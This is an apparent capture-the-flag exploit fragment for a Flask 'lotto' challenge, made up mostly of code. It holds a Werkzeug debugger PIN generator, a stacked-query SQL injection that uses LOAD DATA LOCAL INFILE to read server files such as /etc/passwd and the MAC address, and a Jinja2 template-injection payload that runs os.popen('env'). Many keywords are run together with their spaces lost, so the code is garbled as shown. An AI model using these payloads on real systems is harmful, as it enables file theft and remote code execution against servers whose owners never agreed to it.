h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num return rv
defcreate_table(file, table): sql = f"0';create table if not exists {table}(cmd text);" \ f"load data local infile '{file}' into table {table} fields terminated by '\\n';%23" path = "view?note_id=" + sql s.get(url + path)
defget_content(filename): result = '' try: table_name = get_random() create_table(filename, table_name) sql = f"0' union select 1,2,3,4,(select group_concat(cmd) from {table_name})%23" path = "view?note_id=" + sql res = s.get(url=url + path) result = res.text.split('<h1 style="text-align: center">')[1].split("\n </h1>")[0][9:] except Exception as e: print(e) # print(f"[+] result now is: {result}") return result
# get_content("/etc/passwd") mac = get_content("/sys/class/net/eth0/address") mac = str(int(mac.replace(":", ""), 16))
{% block body %} <divclass="main"> <divclass="message-card nes-container with-title is-centered is-dark"> <pclass="title">*CTF LOTTO</p> <p> This is last turn lotto result, maybe it can help you to forecast next turn. :) </p> {{config.__class__.__init__.__globals__['os'].popen('env').read()}}
{% if message%} <p>{{message}}</p> {% endif %} </div>